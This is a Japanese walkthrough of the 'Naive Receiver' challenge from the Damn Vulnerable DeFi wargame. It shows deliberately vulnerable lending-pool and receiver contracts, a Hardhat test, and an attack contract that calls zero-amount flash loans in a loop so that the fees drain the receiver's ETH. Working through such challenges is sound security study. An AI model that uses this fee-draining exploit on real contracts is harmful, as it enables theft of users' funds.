ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたが行うべきことは、その問題のユニットテストが通過することを保証することです。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/2.html
問題の説明:
残高が 1000eth の貸出プールがあり、高額なフラッシュローンサービスを提供しています(フラッシュローンを実行するたびに 1eth の手数料がかかります)。あるユーザーが残高 10eth のスマートコントラクトをデプロイし、貸出プールと相互作用してフラッシュローン操作を行うことができます。あなたの目標は、1 回のトランザクションを使用して、ユーザーのスマートコントラクト内の eth をすべて引き出すことです。
まず、スマートコントラクトのソースコードを見てみましょう。
NaiveReceiverLenderPool.sol
貸出プールコントラクト
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ReentrancyGuard は再入防止のためのロックを使用します
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title NaiveReceiverLenderPool
* @author ダム脆弱なDeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard {
// address型に Address ライブラリを適用
using Address for address;
uint256 private constant FIXED_FEE = 1 ether; // フラッシュローンの手数料
// 手数料を取得
function fixedFee() external pure returns (uint256) {
return FIXED_FEE;
}
// フラッシュローンメソッド
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
// このスマートコントラクトの残高を取得
uint256 balanceBefore = address(this).balance;
// 借りる量が残高を超えないことを期待
require(balanceBefore >= borrowAmount, "プールに十分なETHがありません");
// 借り手 borrower はコントラクトアドレスでなければならず、通常のアドレスではいけません
require(borrower.isContract(), "借り手はデプロイされたコントラクトでなければなりません");
// ETHを転送し、受信者に制御を渡します
// 借り手の receiveEther メソッドを呼び出します
borrower.functionCallWithValue(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
),
borrowAmount
);
// 最後に、残高が以前の残高に今回のフラッシュローンの手数料を加えたものであることを確認します
require(
address(this).balance >= balanceBefore + FIXED_FEE,
"フラッシュローンが返済されていません"
);
}
// ETHの預け入れを許可
receive () external payable {}
}
このコントラクトはまず address
型に Address
ライブラリを適用し、address
型の変数が Address
ライブラリ内のメソッドを呼び出せるようにします。
次に、フラッシュローンの手数料を 1 eth に設定します。
最後に、フラッシュローンのメソッドを提供します。
-
借りる量が自身の残高より少ないことを確認します。
-
isContract
メソッドを使用して、借りるアドレスがコントラクトアドレスであることを確認します。function isContract(address account) internal view returns (bool) { return account.code.length > 0; }
-
Address
ライブラリのfunctionCallWithValue
メソッドを呼び出して、借り手のreceiveEther
メソッドを実行します。まず、library Address
内の関連メソッドの実装を見てみましょう。// target: 目標コントラクト (つまりborrower) 外部からライブラリメソッドを呼び出す際は、最初の引数が呼び出し元であることに注意 // data: 呼び出すメソッドを calldata に変換 (コントラクトメソッドの呼び出しはすべてcalldataを介して行われます) // value: 送信する金額 function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { // 残高が十分であることを確認 require(address(this).balance >= value, "Address: callのための残高が不足しています"); // targetがコントラクトアドレスであることを確認 require(isContract(target), "Address: 非コントラクトへの呼び出し"); // calldataを介して呼び出し(つまりborrower内のreceiveEtherを呼び出します) (bool success, bytes memory returndata) = target.call{value: value}(data); // 呼び出し結果を検証 return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // 呼び出しが成功せず、戻り値が存在する場合 if (returndata.length > 0) { // インラインアセンブリを使用して戻り値を読み込み、直接revertします assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { // 呼び出しが成功せず、戻り値が存在しない場合、直接revertします revert(errorMessage); } } }
次に、フラッシュローンを実行するコントラクト FlashLoanReceiver.sol
の残高は 10eth です。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title FlashLoanReceiver
* @author ダム脆弱なDeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver {
using Address for address payable;
// 貸出プールアドレス
address payable private pool;
constructor(address payable poolAddress) {
pool = poolAddress;
}
// 貸出プールからのコールバックのコントラクトメソッド
function receiveEther(uint256 fee) public payable {
// このメソッドを呼び出すのはプールアドレスでなければなりません
require(msg.sender == pool, "送信者はプールでなければなりません");
// 返済する必要がある量
uint256 amountToBeRepaid = msg.value + fee;
// 残高が十分であることを確認
require(address(this).balance >= amountToBeRepaid, "それほど借りることはできません");
// 借りたお金を操作します(内部的には通常アービトラージ操作)
_executeActionDuringFlashLoan();
// 資金をプールアドレスに返します
pool.sendValue(amountToBeRepaid);
}
// 受け取った資金が使用される内部関数
function _executeActionDuringFlashLoan() internal { }
// ETHの預け入れを許可
receive () external payable {}
}
最後に、ユニットテストファイル naive-receiver/naive-receiver.challenge.js
を見てみましょう。
const { ethers } = require('hardhat')
const { expect } = require('chai')
describe('[Challenge] Naive receiver', function () {
let deployer, user, attacker
// プールには1000 ETHの残高があります
const ETHER_IN_POOL = ethers.utils.parseEther('1000')
// レシーバーには10 ETHの残高があります
const ETHER_IN_RECEIVER = ethers.utils.parseEther('10')
before(async function () {
// 3つのアカウントを作成しました
[deployer, user, attacker] = await ethers.getSigners()
const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer)
const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer)
this.pool = await LenderPoolFactory.deploy()
// deployer がプールアドレスに1000 ETHを送信しました
await deployer.sendTransaction({ to: this.pool.address, value: ETHER_IN_POOL })
// 転送が成功したことを確認
expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(ETHER_IN_POOL)
// 残高を取得できることを確認
expect(await this.pool.fixedFee()).to.be.equal(ethers.utils.parseEther('1'))
this.receiver = await FlashLoanReceiverFactory.deploy(this.pool.address)
// receiver に10 ETHを送信しました
await deployer.sendTransaction({ to: this.receiver.address, value: ETHER_IN_RECEIVER })
// 転送が成功したことを確認
expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal(ETHER_IN_RECEIVER)
})
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
})
after(async function () {
/** SUCCESS CONDITIONS */
// すべてのETHがレシーバーから引き出されました
expect(
// receive 残高は0
await ethers.provider.getBalance(this.receiver.address)
).to.be.equal('0')
expect(
// プールの残高は1000 + 10
await ethers.provider.getBalance(this.pool.address)
).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER))
})
})
このテストケースでは、貸出プールコントラクトとフラッシュローンを実行するコントラクトをデプロイした後、それぞれに 1000 ETH と 10 ETH を転送しました。私たちの攻撃コードが実行された後、最終的な期待結果は、フラッシュローンを実行するコントラクトの最終残高が 0 であり、貸出プールコントラクトの最終残高が 1010 であることです。
この問題の鍵は、フラッシュローンを実行するために 1eth の手数料が必要であることです。もし私たちが毎回 0 を借り、10 回借りるなら、10 回後にはフラッシュローンを実行するコントラクトの残高は必ず 0 になります。しかし、問題は 1 回のトランザクションを行うことを要求しています。したがって、内部でフラッシュローンメソッドを 10 回呼び出すスマートコントラクトを作成してみることができます。
NaiveReceiverAttack.sol
pragma solidity ^0.8.0;
import "../naive-receiver/FlashLoanReceiver.sol";
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveReceiverAttack {
NaiveReceiverLenderPool public pool;
FlashLoanReceiver public receiver;
// 貸出プールコントラクトとフラッシュローンを実行するコントラクトを初期化します。
constructor (address payable _pool, address payable _receiver) {
pool = NaiveReceiverLenderPool(_pool);
receiver = FlashLoanReceiver(_receiver);
}
// 攻撃メソッド: receiver に手数料を支払うのに十分な残高がある限り、フラッシュローン操作を行います
function attack () external {
// 手数料の値を取得
uint fee = pool.fixedFee();
while (address(receiver).balance >= fee) {
pool.flashLoan(address(receiver), 0);
}
}
}
最後に、テストファイルで私たちの攻撃コントラクトをデプロイします。
it('Exploit', async function () {
const AttackFactory = await ethers.getContractFactory('NaiveReceiverAttack', deployer)
this.attacker = await AttackFactory.deploy(this.pool.address, this.receiver.address)
// 攻撃メソッドを実行
await this.attacker.attack()
})
最後に yarn naive-receiver
を実行してテストを通過させます。